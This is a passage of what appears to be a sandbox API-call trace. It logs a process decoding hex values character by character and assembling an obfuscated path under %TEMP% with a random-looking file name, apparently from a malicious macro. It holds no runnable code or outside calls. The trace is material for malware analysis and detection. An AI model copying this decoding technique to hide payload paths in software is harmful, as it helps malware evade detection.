lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9a£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0071.864] VarBstrCat (in: bstrLeft="%TE", bstrRight="M", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.864] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.864] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.864] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" £µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0071.864] VarBstrCat (in: bstrLeft="%TEM", bstrRight="P", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.864] VarBstrCat (in: bstrLeft="&H", bstrRight="4A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.864] VarParseNumFromStr (in: strIn="&H4A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.864] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e18, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0071.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="J", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="%") returned 1 [0071.865] VarBstrCat (in: bstrLeft="%TEMP", bstrRight="%", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.865] VarBstrCat (in: bstrLeft="&H", bstrRight="B8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.865] VarParseNumFromStr (in: strIn="&HB8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.865] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="¸") returned 1 [0071.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¸£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.865] VarBstrCat (in: bstrLeft=0x0, bstrRight="\\", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.865] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.865] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.865] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="¨") returned 1 [0071.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¨", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¨£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0071.866] VarBstrCat (in: bstrLeft="\\", bstrRight="T", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.866] VarBstrCat (in: bstrLeft="&H", bstrRight="F4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.866] VarParseNumFromStr (in: strIn="&HF4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.866] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ô") returned 1 [0071.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ô", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ô£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="z") returned 1 [0071.866] VarBstrCat (in: bstrLeft="\\T", bstrRight="z", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.866] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.866] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.866] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="¨") returned 1 [0071.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¨", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¨£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0071.867] VarBstrCat (in: bstrLeft="\\Tz", bstrRight="T", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.867] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.867] VarParseNumFromStr (in: strIn="&H8A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.867] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="Š") returned 1 [0071.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Š", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8a£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="E") returned 1 [0071.867] VarBstrCat (in: bstrLeft="\\TzT", bstrRight="E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.867] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.867] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.867] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.868] VarBstrCat (in: bstrLeft="\\TzTE", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.868] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.868] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.868] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.868] VarBstrCat (in: bstrLeft="\\TzTEi", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.868] VarBstrCat (in: bstrLeft="&H", bstrRight="D4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.868] VarParseNumFromStr (in: strIn="&HD4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.868] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="Ô") returned 1 [0071.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ô", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ô£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0071.869] VarBstrCat (in: bstrLeft="\\TzTEir", bstrRight="j", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.869] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.869] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.869] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.869] VarBstrCat (in: bstrLeft="\\TzTEirj", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.869] VarBstrCat (in: bstrLeft="&H", bstrRight="D4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.869] VarParseNumFromStr (in: strIn="&HD4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.869] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ô") returned 1 [0071.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ô", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ô£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0071.870] VarBstrCat (in: bstrLeft="\\TzTEirjl", bstrRight="j", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.870] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.870] VarParseNumFromStr (in: strIn="&H86", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.870] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0071.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0071.870] VarBstrCat (in: bstrLeft="\\TzTEirjlj", bstrRight="C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.870] VarBstrCat (in: bstrLeft="&H", bstrRight="A0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.870] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.870] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" £µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0071.871] VarBstrCat (in: bstrLeft="\\TzTEirjljC", bstrRight="P", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.871] VarBstrCat (in: bstrLeft="&H", bstrRight="9C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.871] VarParseNumFromStr (in: strIn="&H9C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.871] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="œ") returned 1 [0071.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="œ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9c£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0071.871] VarBstrCat (in: bstrLeft="\\TzTEirjljCP", bstrRight="N", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.871] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.871] VarParseNumFromStr (in: strIn="&H86", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.871] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0071.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0071.871] VarBstrCat (in: bstrLeft="\\TzTEirjljCPN", bstrRight="C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.872] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.872] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.872] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f08, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.872] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNC", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.872] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.873] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.873] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.873] VarBstrCat (in: bstrLeft="\\TzTEirjljCPNCs", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.873] VarBstrCat (in: bstrLeft="&H", bstrRight="88", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.873] VarParseNumFromStr (in: strIn="&H88", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.873] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="ˆ") returned 1 [0071.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ˆ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x88£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.873] MultiByteToWideChar (in: CodePage=0x0, 